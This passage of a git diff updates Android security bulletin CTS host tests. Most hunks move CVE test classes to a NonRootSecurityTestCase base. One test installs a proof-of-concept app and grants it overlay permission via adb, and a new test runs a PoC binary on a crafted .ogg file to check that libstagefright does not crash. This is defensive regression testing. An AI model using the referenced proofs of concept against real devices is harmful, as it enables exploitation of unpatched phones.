testPocCVE_2021_0441() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0441"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java index 1224dc2da2d..90e65c2e338 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0473 extends SecurityTestCase { +public class CVE_2021_0473 extends NonRootSecurityTestCase { /** * b/179687208 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java index a3b1eae7c67..558b0924fbf 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java @@ -18,13 +18,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.SecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0478 extends SecurityTestCase { +public class CVE_2021_0478 extends NonRootSecurityTestCase { /** * b/169255797 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java index 4d2acacf2ff..05aa43e47c1 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0484 extends SecurityTestCase { +public class CVE_2021_0484 extends NonRootSecurityTestCase { /** * b/173720767 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java index 8f37185a69d..b26e0725ff4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0490 extends SecurityTestCase { +public class CVE_2021_0490 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 183464868) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java index 30af4725490..7cd63605906 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java @@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Before; @@ -29,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0523 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0523.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java index 5a7ec8d1c24..f775822dfb6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java @@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0586 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0586.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java index eb74b201862..92c64351de4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java @@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.RequiresDevice; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import java.util.regex.Pattern; import org.junit.Assert; import org.junit.Before; @@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat; import static org.junit.Assume.assumeTrue; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0591 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0591"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java index 0562b49b756..fecab0cf3e4 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0596 extends SecurityTestCase { +public class CVE_2021_0596 extends NonRootSecurityTestCase { /** * b/181346550 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java index d4bbfb3972e..41455a40249 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import static org.junit.Assert.*; - @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0636 extends SecurityTestCase { +public class CVE_2021_0636 extends NonRootSecurityTestCase { public void testPocCVE_2021_0636(String mediaFileName) throws Exception { /* diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java index 29fd2b39bf2..2e1ddda5360 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java @@ -19,7 +19,7 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -29,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0642 extends NonRootSecurityTestCase { static final String TEST_APP = "CVE-2021-0642.apk"; static final String TEST_PKG = "android.security.cts.cve_2021_0642"; static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java index e6cd19f1d0b..c50f2c0a180 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0650.java @@ -17,14 +17,18 @@ package android.security.cts; +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; -import static org.junit.Assume.*; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0650 extends SecurityTestCase { +public class CVE_2021_0650 extends NonRootSecurityTestCase { /** * b/190286685 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java index 26bba4a6d50..15c59efc97e 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java @@ -19,14 +19,14 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0685 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.cve_2021_0685"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0685.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java index 666f7918718..3bfcae4af64 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0689 extends SecurityTestCase { +public class CVE_2021_0689 extends NonRootSecurityTestCase { /** * b/190188264 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java index bf261fd0eab..01a3c07160b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; @@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*; * Test installs sample app and then tries to overwrite *.apk file */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0691 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0691"; private static final String TEST_APP = "CVE-2021-0691.apk"; private static final String DEVICE_TMP_DIR = "/data/local/tmp/"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java index 2b7ad1452d2..98deb18e315 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java @@ -19,13 +19,13 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0693 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0693"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java index fabaf89437a..9225b561ece 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java @@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0706 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0706"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java index 3ae0303371d..513942520a0 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java @@ -18,13 +18,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0919 extends SecurityTestCase { +public class CVE_2021_0919 extends NonRootSecurityTestCase { /** * b/197336441 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java index 760c265fe09..94f3b970c57 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java @@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull; import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; import org.junit.Assert; @@ -30,7 +30,7 @@ import org.junit.runner.RunWith; import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0921 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0921"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0921.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java index 617658973bb..b3c9717a280 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java @@ -15,14 +15,18 @@ */ package android.security.cts; + import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0925 extends SecurityTestCase { +public class CVE_2021_0925 extends NonRootSecurityTestCase { /** * Vulnerability Behaviour: SIGSEGV in self diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java index cbf108883a1..d83f26a9529 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java @@ -23,7 +23,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Before; @@ -31,7 +31,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0928 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0928 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0928"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0928.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java index ecb6bdd3cd4..833b93aa854 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java @@ -19,13 +19,13 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0953 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 184046278) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java index 5532e4602a4..847feefa489 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -16,43 +16,39 @@ package android.security.cts; -import android.platform.test.annotations.AppModeFull; +import static org.junit.Assume.assumeNoException; + import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Assert; -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0954 extends BaseHostJUnit4Test { - private static final String TEST_PKG = "android.security.cts.cve_2021_0954"; - private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; - private static final String TEST_APP = "CVE-2021-0954.apk"; - private ITestDevice device; - - @Before - public void setUp() throws Exception { - device = getDevice(); - uninstallPackage(device, TEST_PKG); - - /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); - } +public class CVE_2021_0954 extends NonRootSecurityTestCase { + private static final String TEST_PKG = "android.security.cts.CVE_2021_0954"; - @AppModeFull @AsbSecurityTest(cveBugId = 143559931) @Test public void testPocCVE_2021_0954() throws Exception { - installPackage(TEST_APP); - AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", - device); - runDeviceTests(TEST_PKG, TEST_CLASS, "testVulnerableActivityPresence"); + try { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-0954.apk"); + AdbUtils.runCommandLine( + "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device); + runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence"); + } catch (Exception e) { + assumeNoException(e); + } } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java index 80fa239bc71..eddde21aacf 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java @@ -17,14 +17,17 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0956 extends SecurityTestCase { +public class CVE_2021_0956 extends NonRootSecurityTestCase { /** * b/189942532 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java index 65934f2741f..b7b0e2bdabc 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java @@ -21,7 +21,7 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import org.junit.Assert; import org.junit.Before; @@ -29,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2021_0965 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0965"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0965.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java index bfa056b2311..9a56b0c1c2c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java @@ -19,12 +19,15 @@ import static org.junit.Assert.*; import static org.junit.Assume.*; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_1906 extends SecurityTestCase { +public class CVE_2021_1906 extends NonRootSecurityTestCase { /** * CVE-2021-1906 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java index 415e2b1ad93..7b4712f2d5a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java @@ -15,15 +15,17 @@ */ package android.security.cts; -import android.platform.test.annotations.SecurityTest; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import android.platform.test.annotations.AsbSecurityTest; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_30351 extends SecurityTestCase { +public class CVE_2021_30351 extends NonRootSecurityTestCase { /** * CVE-2021-30351 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java new file mode 100644 index 00000000000..aaaa502f934 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.Arrays; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39623 extends NonRootSecurityTestCase { + + /** + * b/194105348 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libstagefright (As per AOSP code) + * Vulnerable Function: doRead (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 194105348) + @Test + public void testPocCVE_2021_39623() throws Exception { + String binaryName = "CVE-2021-39623"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName) + .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright", + "android::SimpleDecodingSource::doRead")); + String signals[] = {CrashUtils.SIGSEGV}; + testConfig.config.setSignals(signals); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + String inputFiles[] = {"cve_2021_39623.ogg"}; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java index 3b12ce5a926..c47ebf119b6 100644 --- 